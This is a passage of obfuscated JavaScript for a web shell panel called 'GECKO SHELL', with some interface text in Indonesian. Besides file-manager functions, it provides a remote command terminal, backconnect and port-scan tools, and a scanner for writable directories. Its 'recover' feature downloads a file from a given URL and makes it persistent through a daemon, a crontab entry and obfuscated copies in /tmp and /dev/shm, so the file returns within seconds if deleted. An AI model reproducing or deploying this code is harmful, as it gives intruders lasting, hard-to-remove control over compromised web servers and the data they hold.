        _g41a44e9(e.message, 'error');
        const panel = $('#panel');
        if(panel) panel.innerHTML = `<div class="empty"><h3>Error loading folder</h3><p>${esc(e.message)}</p></div>`;
    }
}

function _gc6ecd70(d){
  const dirs=S.entries.filter(e=>e.is_dir).length, files=S.entries.length-dirs;
  $('#stItems').innerHTML=`<strong>${S.entries.length}</strong> items · <strong>${dirs}</strong> folders · <strong>${files}</strong> files`;
  if(d.disk){
    const u=d.disk.total-d.disk.free, pct=Math.round(u/d.disk.total*100);
    $('#stDisk').innerHTML=`<strong>${fmtBytes(u)}</strong> / ${fmtBytes(d.disk.total)}`;
    $('#diskFill').style.width=pct+'%';
    $('#diskUsed').textContent=fmtBytes(u)+' used';
    $('#diskPct').textContent=pct+'%';
    if(pct>85)$('#diskFill').style.background='var(--red)';
  }
  $('#stPath').textContent = _gbd651e8(S.path || '');
  $('#termCwd').textContent=S.path||'~';
  $('#termPathTag').textContent=S.path||'root';
}

// Clock
setInterval(()=>$('#stClock').textContent=new Date().toLocaleTimeString('en-US',{hour:'2-digit',minute:'2-digit',second:'2-digit'}),1000);
$('#stClock').textContent=new Date().toLocaleTimeString('en-US',{hour:'2-digit',minute:'2-digit',second:'2-digit'});

async function loadInfo(){
  const d=await api('info',{});
  if(d.ok){
    const pct=Math.round((d.disk_total-d.disk_free)/d.disk_total*100);
    $('#sysInfo').innerHTML=`<strong>Environment</strong><br>PHP ${esc(d.php)}<br>OS: ${esc(d.os)}<br>Root: ${esc(BASE.split(/[/\\\\]/).pop())}`;
    $('#diskFill').style.width=pct+'%';
    $('#diskUsed').textContent=fmtBytes(d.disk_total-d.disk_free)+' used';
    $('#diskPct').textContent=pct+'%';
  }
}

// ─── Load Drives (Windows) ───────────────────────────────────────
async function loadDrives() {
    const select = $('#driveSelect');
    const box = $('#driveBox');
    if (!select || !box) return;
    box.style.display = 'block';
    select.onchange = (e) => { if (e.target.value) navigate(e.target.value); };
    try {
        const d = await api('drives', {});
        if (d.ok && d.drives && d.drives.length) {
            select.innerHTML = '<option value="">— Select Path —</option>' +
                d.drives.map(drive => `<option value="${esc(drive.path)}">${esc(drive.label)}${drive.total ? ' (' + fmtBytes(drive.total) + ')' : ''}</option>`).join('');
        } else {
            select.innerHTML = '<option value="">— No paths available —</option>';
        }
    } catch(e) {
        select.innerHTML = '<option value="">— Unable to load paths —</option>';
    }
}

// ─── Create ──────────────────────────────────────────────────────
function _gceda862(mode){
  S.createMode=mode;
  $('#createTitle').textContent=mode==='file'?'New File':'New Folder';
  $('#createContentWrap').classList.toggle('hidden',mode!=='file');
  $('#createName').value=''; $('#createContent').value='';
  openM('#mCreate');
  setTimeout(()=>$('#createName').focus(),120);
}
$('#createOk').onclick=async()=>{
  const name=$('#createName').value.trim(); if(!name)return _g41a44e9('Enter a name','error');
  const act=S.createMode==='file'?'create_file':'mkdir';
  const pl={path:S.path,name};
  if(S.createMode==='file')pl.content=$('#createContent').value;
  const d=await api(act,pl);
  if(!d.ok)return _g41a44e9(d.error,'error');
  closeAll(); _g41a44e9('Created','ok');
  navigate(S.path);
  if(S.createMode==='file')openEditor(joinPath(S.path,name));
};

// ─── Rename ──────────────────────────────────────────────────────
function _g2499ec4(path,name){
  S.renameTarget=path; $('#renameInput').value=name;
  openM('#mRename');
  setTimeout(()=>{$('#renameInput').focus();$('#renameInput').select()},120);
}
$('#renameOk').onclick=async()=>{
  const n=$('#renameInput').value.trim(); if(!n||!S.renameTarget)return;
  const d=await api('rename',{path:S.renameTarget,new_name:n});
  if(!d.ok)return _g41a44e9(d.error,'error');
  closeAll(); _g41a44e9('Renamed','ok'); navigate(S.path);
};

// ─── Chmod ───────────────────────────────────────────────────────
function _g8402a3f(path, currentPerm) {
  S.chmodTarget = path;
  $('#chmodInput').value = currentPerm || '0644';
  openM('#mChmod');
  setTimeout(() => { $('#chmodInput').focus(); $('#chmodInput').select() }, 120);
}
$('#chmodOk').onclick = async () => {
  const perm = $('#chmodInput').value.trim();
  if (!perm || !S.chmodTarget) return;
  const d = await api('chmod', { path: S.chmodTarget, perm: perm });
  if (!d.ok) return _g41a44e9(d.error, 'error');
  closeAll(); _g41a44e9('Permissions updated', 'ok');
  navigate(S.path);
};

// ─── Delete ──────────────────────────────────────────────────────
function _g37a9f77(path,name,isDir){
  S.deleteTarget=path;
  $('#deleteMsg').innerHTML=`Delete <strong>${esc(name)}</strong>${isDir?' and all contents inside':''}? This cannot be undone.`;
  openM('#mDelete');
}
$('#deleteOk').onclick=async()=>{
  if(!S.deleteTarget)return;
  const d=await api('delete',{path:S.deleteTarget});
  if(!d.ok)return _g41a44e9(d.error,'error');
  closeAll(); _g41a44e9('Deleted','ok'); navigate(S.path);
};
async function deleteSelected(){
  if(!S.selected.size)return _g41a44e9('Nothing selected','error');
  if(!confirm('Delete '+S.selected.size+' item(s)? Folders will be removed recursively.'))return;
  for(const p of S.selected){const d=await api('delete',{path:p});if(!d.ok){_g41a44e9(d.error+' — '+p,'error');break}}
  _g41a44e9('Done','ok'); navigate(S.path);
}

// ─── Editor ──────────────────────────────────────────────────────
const LANG_MAP = {
  php:'php', phtml:'php',
  js:'js', mjs:'js', cjs:'js', ts:'js', tsx:'js', jsx:'js',
  json:'json',
  css:'css', scss:'css', sass:'css', less:'css',
  html:'html', htm:'html', xml:'html', svg:'html', vue:'html',
  md:'md', markdown:'md',
  yml:'yaml', yaml:'yaml',
  sh:'sh', bash:'sh', zsh:'sh',
  sql:'sql',
  py:'py',
};
function _gcfc828e(path){
  const ext = (path.split('.').pop() || '').toLowerCase();
  return LANG_MAP[ext] || 'plain';
}

const HTML_ESC = { '&':'&amp;', '<':'&lt;', '>':'&gt;' };
const escHtml = s => String(s).replace(/[&<>]/g, c => HTML_ESC[c]);

// ─── Tokenizer (regex multi-pattern) ─────────────────────────────
const KEYWORDS_JS = 'function|if|else|return|for|while|do|switch|case|break|continue|class|new|var|let|const|null|true|false|undefined|this|import|export|default|async|await|try|catch|finally|throw|in|of|as|from|extends|typeof|instanceof|delete|void|yield|static|get|set';
const KEYWORDS_PHP = KEYWORDS_JS + '|elseif|endif|endwhile|endfor|endforeach|endswitch|foreach|public|private|protected|namespace|use|self|parent|abstract|trait|interface|implements|fn|match|enum|readonly|require|require_once|include|include_once|echo|print|global|isset|unset|empty|array|list';
const KEYWORDS_PY = 'def|class|if|elif|else|for|while|return|import|from|as|try|except|finally|raise|with|pass|break|continue|lambda|yield|global|nonlocal|None|True|False|and|or|not|is|in';
const KEYWORDS_SH = 'if|then|else|elif|fi|for|while|do|done|case|esac|in|function|return|break|continue|exit|export|local|readonly|source|alias';
const KEYWORDS_SQL = 'SELECT|FROM|WHERE|INSERT|INTO|VALUES|UPDATE|SET|DELETE|CREATE|TABLE|DROP|ALTER|JOIN|LEFT|RIGHT|INNER|OUTER|ON|GROUP|BY|ORDER|HAVING|LIMIT|OFFSET|AS|AND|OR|NOT|NULL|IS|IN|LIKE|BETWEEN|DISTINCT|UNION|INDEX|PRIMARY|KEY|FOREIGN|REFERENCES|DEFAULT|UNIQUE|AUTO_INCREMENT|VARCHAR|INT|TEXT|DATE|DATETIME|TIMESTAMP|BOOLEAN|TRUE|FALSE';

function _gc5bfa0e(code, lang){
  if (lang === 'plain' || !code) return escHtml(code);

  let patterns;
  if (lang === 'php' || lang === 'js') {
    const kw = lang === 'php' ? KEYWORDS_PHP : KEYWORDS_JS;
    patterns = [
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/\/\/[^\n]*/, 'tk-com'],
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/`(?:\\.|[^`\\])*`/, 'tk-str'],
      [/\$[A-Za-z_]\w*/, 'tk-var'],
      [new RegExp('\\b(?:' + kw + ')\\b'), 'tk-key'],
      [/\b(?:true|false|null|undefined|TRUE|FALSE|NULL)\b/, 'tk-bool'],
      [/\b\d+(?:\.\d+)?(?:[eE][+-]?\d+)?\b/, 'tk-num'],
      [/\b[A-Z][A-Za-z0-9_]*\b/, 'tk-cls'],
      [/\b[a-zA-Z_]\w*(?=\s*\()/, 'tk-fn'],
      [/[+\-*/%=<>!&|^~?:]+/, 'tk-op'],
    ];
  } else if (lang === 'css') {
    patterns = [
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/--[\w-]+/, 'tk-var'],
      [/#[0-9a-fA-F]{3,8}\b/, 'tk-num'],
      [/\b\d+(?:\.\d+)?(?:px|em|rem|%|vh|vw|s|ms|deg|fr|ch|ex|pt)?\b/, 'tk-num'],
      [/@[\w-]+/, 'tk-key'],
      [/\b[a-z-]+(?=\s*:)/i, 'tk-att'],
      [/[.#][\w-]+/, 'tk-cls'],
      [/[{}();,]/, 'tk-pun'],
    ];
  } else if (lang === 'html') {
    patterns = [
      [new RegExp('<!--[\\s\\S]*?-->'), 'tk-com'],
      [new RegExp('<!DOCTYPE[^>]*>', 'i'), 'tk-com'],
      [new RegExp('</?[\\w:-]+'), 'tk-tag'],
      [/[\w:-]+(?=\s*=)/, 'tk-att'],
      [/"(?:[^"\\]|\\.)*"/, 'tk-str'],
      [/'(?:[^'\\]|\\.)*'/, 'tk-str'],
      [new RegExp('/?>'), 'tk-tag'],
    ];
  } else if (lang === 'json') {
    patterns = [
      [/"(?:\\.|[^"\\])*"(?=\s*:)/, 'tk-att'],
      [/"(?:\\.|[^"\\])*"/, 'tk-str'],
      [/\b(?:true|false|null)\b/, 'tk-bool'],
      [/-?\b\d+(?:\.\d+)?(?:[eE][+-]?\d+)?\b/, 'tk-num'],
      [/[{}\[\]:,]/, 'tk-pun'],
    ];
  } else if (lang === 'md') {
    patterns = [
      [/^#{1,6}[^\n]*/, 'tk-md-h'],
      [/```[\s\S]*?```/, 'tk-md-cd'],
      [/`[^`\n]+`/, 'tk-md-cd'],
      [/\*\*[^*\n]+\*\*/, 'tk-md-em'],
      [/_[^_\n]+_/, 'tk-md-em'],
      [/^[\s]*[-*+]\s+/, 'tk-md-li'],
      [/^>[^\n]*/, 'tk-com'],
      [/\[[^\]]*\]\([^)]*\)/, 'tk-str'],
    ];
  } else if (lang === 'yaml') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/^[\s-]*[\w.-]+(?=\s*:)/m, 'tk-att'],
      [/\b(?:true|false|null|yes|no)\b/, 'tk-bool'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
    ];
  } else if (lang === 'sh') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\])*"/, 'tk-str'],
      [/'[^']*'/, 'tk-str'],
      [/\$\{[^}]+\}|\$\w+/, 'tk-var'],
      [new RegExp('\\b(?:' + KEYWORDS_SH + ')\\b'), 'tk-key'],
      [/\b\d+\b/, 'tk-num'],
    ];
  } else if (lang === 'sql') {
    patterns = [
      [/--[^\n]*/, 'tk-com'],
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/'(?:[^'\\]|\\.)*'/, 'tk-str'],
      [/"(?:[^"\\]|\\.)*"/, 'tk-str'],
      [new RegExp('\\b(?:' + KEYWORDS_SQL + ')\\b', 'i'), 'tk-key'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
    ];
  } else if (lang === 'py') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"""[\s\S]*?"""|'''[\s\S]*?'''/, 'tk-str'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [new RegExp('\\b(?:' + KEYWORDS_PY + ')\\b'), 'tk-key'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
      [/\b[a-zA-Z_]\w*(?=\s*\()/, 'tk-fn'],
    ];
  } else {
    return escHtml(code);
  }

  // Build mega regex with capture group per pattern
  const megaSrc = patterns.map(p => '(' + p[0].source + ')').join('|');
  const flags = 'gm';
  const regex = new RegExp(megaSrc, flags);

  let out = '';
  let last = 0;
  let m;
  while ((m = regex.exec(code)) !== null) {
    if (m.index > last) out += escHtml(code.slice(last, m.index));
    let cls = null;
    for (let i = 0; i < patterns.length; i++) {
      if (m[i + 1] !== undefined) { cls = patterns[i][1]; break; }
    }
    out += cls ? '<span class="' + cls + '">' + escHtml(m[0]) + '</span>' : escHtml(m[0]);
    last = m.index + m[0].length;
    // Prevent infinite loop on zero-length matches
    if (m[0].length === 0) regex.lastIndex++;
  }
  if (last < code.length) out += escHtml(code.slice(last));
  return out;
}

let edLang = 'plain';

async function openEditor(path){
  S.editorPath=path;
  edLang = _gcfc828e(path);
  $('#edArea').classList.toggle('no-highlight', edLang === 'plain');
  $('#edTitle').textContent=path.split(/[\/\\]/).pop();
  $('#edPath').textContent=path;
  $('#edText').value=''; $('#edHighlight').innerHTML=''; _g65a78e8();
  _gd0a82cd(false);
  _gb0ab632();
  openM('#mEditor');
  const d=await api('read',{path});
  if(!d.ok){closeM('#mEditor');return _g41a44e9(d.error,'error')}
  $('#edText').value=d.content;
  S.editorSavedContent = d.content;
  _gd0a82cd(false);
  $('#edMeta').textContent=fmtBytes(d.size)+' · '+fmtDate(d.modified)+' · '+edLang.toUpperCase();
  _g6c6d4b9();
  _g65a78e8();
  setTimeout(()=>$('#edText').focus(),120);
}

function _g6c6d4b9(){
  if (edLang === 'plain') return;
  const code = $('#edText').value;
  // Trailing newline ensures last line is rendered properly
  const html = _gc5bfa0e(code + (code.endsWith('\n') ? ' ' : ''), edLang);
  $('#edHighlight').innerHTML = html;
}

function _g65a78e8(){
  const ta=$('#edText'),lines=(ta.value.match(/\n/g)||[]).length+1;
  const ln=$('#lineNums'); let h='';
  for(let i=1;i<=lines;i++)h+=`<div>${i}</div>`;
  ln.innerHTML=h; ln.scrollTop=ta.scrollTop;
}

// Debounced highlight refresh on input — keeps typing smooth
let edHlTimer;
function _g7732470(){
  if (edLang === 'plain') return;
  clearTimeout(edHlTimer);
  edHlTimer = setTimeout(refreshHighlight, 30);
}

$('#edText').addEventListener('input', () => {
  _g65a78e8();
  _g7732470();
  _gd0a82cd($('#edText').value !== S.editorSavedContent);
});
$('#edText').addEventListener('scroll', () => {
  $('#lineNums').scrollTop = $('#edText').scrollTop;
  $('#edHighlight').scrollTop = $('#edText').scrollTop;
  $('#edHighlight').scrollLeft = $('#edText').scrollLeft;
});
$('#edSave').onclick=saveEditor;
const _edWrapBtn = $('#edWrapToggle');
if(_edWrapBtn) _edWrapBtn.onclick = ()=>{
  S.edWordWrap = !S.edWordWrap;
  localStorage.setItem('gecko_wrap', S.edWordWrap ? '1' : '0');
  _gb0ab632();
};
_gb0ab632();
async function saveEditor(){
  if(!S.editorPath)return;
  const d=await api('save',{path:S.editorPath,content:$('#edText').value});
  if(!d.ok)return _g41a44e9(d.error,'error');
  S.editorSavedContent = $('#edText').value;
  _gd0a82cd(false);
  _g41a44e9('Saved','ok'); $('#edMeta').textContent=fmtBytes($('#edText').value.length)+' · just now';
  navigate(S.path);
}

// ─── Upload Files ──────────────────────────────────────────────────
async function uploadFiles(files) {
    if (!files || files.length === 0) {
        _g41a44e9('Tidak ada file dipilih', 'error');
        return;
    }
    const prog = $('#uploadProgress');
    if (prog) {
        prog.classList.remove('hidden');
        prog.innerHTML = Array.from(files).map((f, i) =>
            `<div class="upload-item" id="upItem${i}"><div class="upload-item-name">${esc(f.name)}</div><div class="upload-bar"><div class="upload-bar-fill" id="upBar${i}"></div></div></div>`
        ).join('');
    }
    let successCount = 0;
    let failCount = 0;
    for (let i = 0; i < files.length; i++) {
        const file = files[i];
        const bar = $('#upBar' + i);
        const row = $('#upItem' + i);
        if (bar) bar.style.width = '30%';
        try {
            const formData = new FormData();
            formData.append('action', 'upload');
            formData.append('path', S.path);
            formData.append('file', file);
            
            const response = await fetch(API, {
                method: 'POST',
                body: formData
            });
            if (bar) bar.style.width = '90%';
            const data = await response.json();
            if (data.ok) {
                successCount++;
                if (bar) bar.style.width = '100%';
                if (row) row.classList.add('done');
            } else {
                failCount++;
                if (row) row.classList.add('err');
                if (bar) bar.style.width = '100%';
                _g41a44e9(`${file.name}: ${data.error || 'Gagal upload'}`, 'error');
            }
        } catch (err) {
            failCount++;
            if (row) row.classList.add('err');
            if (bar) bar.style.width = '100%';
            _g41a44e9(`${file.name}: Kesalahan jaringan`, 'error');
            console.error('Upload error:', err);
        }
    }
    if (successCount > 0) {
        _g41a44e9(`Berhasil upload ${successCount} file`, 'ok');
        setTimeout(()=>{ closeAll(); if(prog) { prog.classList.add('hidden'); prog.innerHTML = ''; } navigate(S.path); }, 600);
    } else if (failCount > 0) {
        _g41a44e9(`Upload gagal: ${failCount} file`, 'error');
    }
}

// ─── Upload Event Handlers ─────────────────────────────────────────
const dz = $('#dropzone');
const fi = $('#fileInput');

if (dz) {
  dz.onclick = (e) => {
      e.stopPropagation();
      if (fi) fi.click();
  };
}
if (fi) {
  fi.onchange = (e) => {
      if (fi.files && fi.files.length > 0) {
          uploadFiles(Array.from(fi.files));
          fi.value = '';
      }
  };
}
if (dz) {
  dz.ondragover = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.add('over');
  };
  dz.ondragleave = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.remove('over');
  };
  dz.ondrop = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.remove('over');
      const files = Array.from(e.dataTransfer.files);
      if (files.length > 0) {
          uploadFiles(files);
      }
  };
}

const panel = $('#panel');
if (panel) {
  panel.ondragover = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.add('drag-over');
  };
  panel.ondragleave = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.remove('drag-over');
  };
  panel.ondrop = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.remove('drag-over');
      const files = Array.from(e.dataTransfer.files);
      if (files.length > 0) {
          uploadFiles(files);
      }
  };
}

// ─── Terminal ────────────────────────────────────────────────────
S.termCount = 0;

function _ge1393d2(){
  openM('#mTerm');
  _g104e4dc();
  const o=$('#termOut');
  if(!o.children.length){
    const banner=document.createElement('div');
    banner.className='term-banner';
    banner.innerHTML='<b>GECKO SHELL · v2.0</b>Type a command and press <span class="kbd">Enter</span>. Use <span class="kbd">↑</span>/<span class="kbd">↓</span> for history, <span class="kbd">Ctrl+L</span> to clear.';
    o.appendChild(banner);
  }
  setTimeout(()=>$('#termIn').focus(),150);
}

function _g104e4dc(){
  const path = S.path || '~';
  const cwdEl = $('#termCwd');
  const promptCwdEl = $('#termPromptCwd');
  if(cwdEl) cwdEl.textContent = path;
  if(promptCwdEl){
    const parts = path.split(/[\/\\]/).filter(p=>p);
    promptCwdEl.textContent = parts.length>2 ? '…/'+parts.slice(-2).join('/') : (path||'~');
  }
}

function _g98e1bad(){
  const d=new Date();
  return String(d.getHours()).padStart(2,'0')+':'+String(d.getMinutes()).padStart(2,'0')+':'+String(d.getSeconds()).padStart(2,'0');
}
function _g1669d44(ms){
  if(ms<1000)return ms+'ms';
  if(ms<60000)return (ms/1000).toFixed(2)+'s';
  return Math.floor(ms/60000)+'m'+Math.floor((ms%60000)/1000)+'s';
}

function _g1f0f52c(text,cls='out'){
  const o=$('#termOut');
  const d=document.createElement('div');
  d.className='term-line '+(cls||'');
  d.textContent=text;
  o.appendChild(d);
  o.scrollTop=o.scrollHeight;
}

function _gcd76fee(cmd){
  const b=document.createElement('div');
  b.className='term-block running';
  const cmdLine=document.createElement('div');
  cmdLine.className='term-cmd-line';
  const promptSpan=document.createElement('span');
  promptSpan.className='term-prompt-mini term-prompt-mark';
  promptSpan.innerHTML=_bi('chevron-right');
  const cmdText=document.createElement('span');
  cmdText.className='term-cmd-text';
  cmdText.textContent=cmd;
  const meta=document.createElement('span');
  meta.className='term-cmd-meta';
  const time=document.createElement('span');
  time.className='term-time';
  time.textContent=_g98e1bad();
  const dur=document.createElement('span');
  dur.className='term-duration';
  dur.textContent='…';
  meta.appendChild(time); meta.appendChild(dur);
  cmdLine.appendChild(promptSpan); cmdLine.appendChild(cmdText); cmdLine.appendChild(meta);
  const out=document.createElement('div');
  out.className='term-out-text';
  out.innerHTML='<div class="term-running-dots"><span></span><span></span><span></span></div>';
  b.appendChild(cmdLine); b.appendChild(out);
  return b;
}

async function runTerm(cmd){
  if(!cmd.trim())return;
  const o=$('#termOut');
  const block=_gcd76fee(cmd);
  o.appendChild(block);
  o.scrollTop=o.scrollHeight;
  $('#termSpinner').classList.add('show');
  const t0=performance.now();
  let d;
  try{
    d=await api('terminal',{path:S.path,command:cmd});
  }catch(e){
    d={ok:false,error:'Network error'};
  }
  const dt=Math.round(performance.now()-t0);
  const durEl=block.querySelector('.term-duration');
  const outEl=block.querySelector('.term-out-text');
  block.classList.remove('running');
  durEl.textContent=_g1669d44(dt);
  $('#termSpinner').classList.remove('show');
  if(!d.ok){
    block.classList.add('error');
    outEl.textContent=d.error||'Error';
  }else{
    if(d.exit_code) block.classList.add('error');
    else block.classList.add('success');
    outEl.textContent=d.output||'(no output)';
    if(d.exit_code){
      const note=document.createElement('div');
      note.className='term-exit-note';
      note.textContent='exit code · '+d.exit_code;
      block.appendChild(note);
    }
  }
  S.termCount++;
  const tc=$('#termCount'); if(tc) tc.textContent=S.termCount;
  o.scrollTop=o.scrollHeight;
  navigate(S.path);
}

const termIn = $('#termIn');
if (termIn) {
  termIn.addEventListener('keydown',e=>{
    if(e.key==='Enter'){
      const v=e.target.value;
      e.target.value='';
      if(v.trim()){S.termHistory.push(v);S.termHistIdx=S.termHistory.length;runTerm(v)}
    }
    else if(e.key==='ArrowUp'){
      e.preventDefault();
      if(S.termHistIdx>0){S.termHistIdx--;e.target.value=S.termHistory[S.termHistIdx]}
    }
    else if(e.key==='ArrowDown'){
      e.preventDefault();
      if(S.termHistIdx<S.termHistory.length-1){S.termHistIdx++;e.target.value=S.termHistory[S.termHistIdx]}
      else{S.termHistIdx=S.termHistory.length;e.target.value=''}
    }
    else if((e.ctrlKey||e.metaKey)&&e.key.toLowerCase()==='l'){
      e.preventDefault();
      $('#termOut').innerHTML='';
      S.termCount=0;
      const tc=$('#termCount'); if(tc) tc.textContent=0;
    }
  });
}
const _termClearBtn = $('#termClear');
if (_termClearBtn) _termClearBtn.onclick = ()=>{
  $('#termOut').innerHTML='';
  S.termCount=0;
  const tc=$('#termCount'); if(tc) tc.textContent=0;
  $('#termIn').focus();
};
const _termCopyBtn = $('#termCopy');
if (_termCopyBtn) _termCopyBtn.onclick = async ()=>{
  const o=$('#termOut');
  const txt=o.innerText||'';
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Output copied to clipboard');
  else _g41a44e9('Copy failed','error');
};

// ─── Tools: Cron, Backconnect, Port Scan, DB ───────────────────
function _gc706918(){
  return {
    type: $('#dbType').value,
    host: $('#dbHost').value.trim(),
    port: parseInt($('#dbPort').value,10)||3306,
    user: $('#dbUser').value,
    pass: $('#dbPass').value,
    db: $('#dbName').value.trim()
  };
}

async function loadCron(){
  const note=$('#cronPlatformNote');
  const ta=$('#cronContent');
  if(note) note.textContent='Loading…';
  const d=await api('cron_list',{});
  if(!d.ok){ if(note) note.textContent=d.error||'Failed'; return _g41a44e9(d.error,'error'); }
  if(ta) ta.value=d.content||'';
  if(note){
    note.textContent=d.platform==='windows'
      ? 'Windows — read-only (schtasks). Edit via Terminal.'
      : 'Linux/Unix crontab — one entry per line.';
  }
  if(ta) ta.readOnly=!d.editable;
  const saveBtn=$('#cronSave');
  if(saveBtn) saveBtn.style.display=d.editable?'':'none';
}

function _g8c57304(){
  openM('#mCron');
  loadCron();
}

function _g6a2b283(){
  openM('#mRecover');
  const dirEl=$('#recDirPath');
  const cur=typeof toAbsolutePath==='function'?_gbd651e8(S.path||''):(S.path||'');
  if(dirEl){
    // Prefill current browse path; user can still edit/custom
    if(cur&&cur!==''){
      dirEl.value=cur;
      dirEl.placeholder=cur;
    }else{
      dirEl.placeholder='/var/www/html';
      if(!dirEl.value) dirEl.value='/var/www/html';
    }
  }
  const out=$('#recOutput');
  if(out){
    out.textContent='DIR_PATH terisi dari lokasi browse saat ini. Bisa diganti manual. Lengkapi FILE_NAME + DOWNLOAD_URL lalu klik Recover.';
    out.className='tool-output tall empty sec-terminal-out';
  }
}

async function runRecover(){
  const dirEl=$('#recDirPath');
  const fileEl=$('#recFileName');
  const urlEl=$('#recDownloadUrl');
  const persistEl=$('#recPersist');
  const dir_path=dirEl?dirEl.value.trim():'';
  const file_name=fileEl?fileEl.value.trim():'';
  const download_url=urlEl?urlEl.value.trim():'';
  const persist=persistEl&&persistEl.checked?'1':'0';
  const out=$('#recOutput');
  const btn=$('#recRun');
  if(!dir_path||!file_name||!download_url){
    _g41a44e9('Lengkapi DIR_PATH, FILE_NAME, DOWNLOAD_URL','error');
    return;
  }
  if(out){ out.textContent='Running recover'+(persist==='1'?' + persistence':'')+'…'; out.className='tool-output tall sec-terminal-out'; }
  if(btn){ btn.disabled=true; btn.textContent='Running…'; }
  let d;
  try{
    d=await api('recover_file',{dir_path:dir_path,file_name:file_name,download_url:download_url,persist:persist});
  }catch(e){
    d={ok:false,error:'Client error: '+(e&&e.message?e.message:String(e))};
  }
  if(btn){ btn.disabled=false; btn.textContent='Recover'; }
  if(!d||!d.ok){
    const err=(d&&d.error)?d.error:'Recover gagal';
    const steps=(d&&d.steps&&d.steps.length)?('\n\nSteps:\n- '+d.steps.join('\n- ')):'';
    if(out){ out.textContent=err+steps; out.className='tool-output tall empty sec-terminal-out'; }
    _g41a44e9(err,'error');
    return;
  }
  const lines=[];
  lines.push(d.message||'Recover OK');
  if(d.path) lines.push('Path: '+d.path);
  if(typeof d.size!=='undefined') lines.push('Size: '+d.size+' bytes');
    if(d.persistence){
    lines.push('');
    lines.push('Persistence (cron.sh parity):');
    lines.push('- status: '+(d.persistence.ok?'ON':'OFF/partial'));
    if(d.persistence.message) lines.push('- '+d.persistence.message);
    if(d.persistence.install_path) lines.push('- obfuscated /tmp: '+d.persistence.install_path);
    if(d.persistence.shm_path) lines.push('- obfuscated /dev/shm: '+d.persistence.shm_path);
    if(d.persistence.pid_file) lines.push('- pid file: '+d.persistence.pid_file+(d.persistence.pid?' (pid '+d.persistence.pid+')':''));
    lines.push('- crontab embed: '+(d.persistence.crontab?'installed':'missing')+(d.persistence.cron_marker?' '+d.persistence.cron_marker:''));
    lines.push('- mutual: daemon↔crontab + /tmp↔/dev/shm (obfuscated)');
    lines.push('- delete test: hapus file target → harus kembali ≤1s (daemon) / ≤1m (crontab)');
  }
  if(d.steps&&d.steps.length){
    lines.push('');
    lines.push('Steps:');
    for(let i=0;i<d.steps.length;i++) lines.push('- '+d.steps[i]);
  }
  if(out){ out.textContent=lines.join('\n'); out.className='tool-output tall sec-terminal-out'; }
  _g41a44e9(d.message||'Recover berhasil','ok');
}

function _g80f4a4e(){
  openM('#mFindWritable');
  const pathEl=$('#fwPath');
  const cur=typeof toAbsolutePath==='function'?_gbd651e8(S.path||''):(S.path||'');
  if(pathEl){
    pathEl.value=cur&&cur!==''?cur:'/var/www/html';
    pathEl.placeholder=cur&&cur!==''?cur:'/var/www/html';
  }
  const out=$('#fwOutput');
  if(out){
    out.textContent='Kosongkan path lalu Find → pakai lokasi browse / default /var/www/html.';
    out.className='tool-output tall empty sec-terminal-out';
  }
}

async function goToWritablePath(path){
  if(!path) return;
  closeAll();
  _g41a44e9('Opening '+path,'ok');
  await navigate(path);
}

async function runFindWritable(){
  const pathEl=$('#fwPath');
  const depthEl=$('#fwDepth');
  const limitEl=$('#fwLimit');
  const out=$('#fwOutput');
  const btn=$('#fwRun');
  let path=pathEl?pathEl.value.trim():'';
  if(!path){
    const cur=typeof toAbsolutePath==='function'?_gbd651e8(S.path||''):(S.path||'');
    path=(cur&&cur!=='')?cur:'/var/www/html';
    if(pathEl) pathEl.value=path;
  }
  const max_depth=depthEl?parseInt(depthEl.value,10):8;
  const limit=limitEl?parseInt(limitEl.value,10):400;
  if(out){ out.textContent='Scanning writable dirs under '+path+' …'; out.className='tool-output tall sec-terminal-out'; }
  if(btn){ btn.disabled=true; btn.textContent='Scanning…'; }
  let d;
  try{
    d=await api('find_writable_dirs',{path:path,max_depth:max_depth,limit:limit});
  }catch(e){
    d={ok:false,error:'Network error or timeout'};
  }
  if(btn){ btn.disabled=false; btn.textContent='Find'; }
  if(!d||!d.ok){
    const err=(d&&d.error)?d.error:'Scan gagal';
    if(out){ out.textContent=err; out.className='tool-output tall empty sec-terminal-out'; }
    _g41a44e9(err,'error');
    return;
  }

  // Same summary format as before, but each path is a clickable link → navigate()
  let html='';
  html+='<div class="fw-meta">'+esc(d.message||'Scan selesai')+'</div>';
  html+='<div class="fw-meta">Start: '+esc(d.start||path)+'</div>';
  html+='<div class="fw-meta">Scanned dirs: '+(d.scanned||0)+' · Found: '+(d.count||0)+(d.truncated?' (truncated)':'')+'</div>';
  html+='<div style="height:8px"></div>';

  if(d.dirs&&d.dirs.length){
    for(let i=0;i<d.dirs.length;i++){
      const it=d.dirs[i];
      const p=it.path||'';
      html+='<div class="fw-row">';
      html+='<span class="fw-perm">['+esc(it.perm||'???')+']</span>';
      html+='<a href="#" class="fw-link" data-fw-path="'+esc(p)+'" title="Open this directory">'+esc(p)+'</a>';
      html+='</div>';
    }
  }else{
    html+='<div class="fw-meta">(tidak ada writable directory)</div>';
  }

  if(out){
    out.className='tool-output tall sec-terminal-out fw-results';
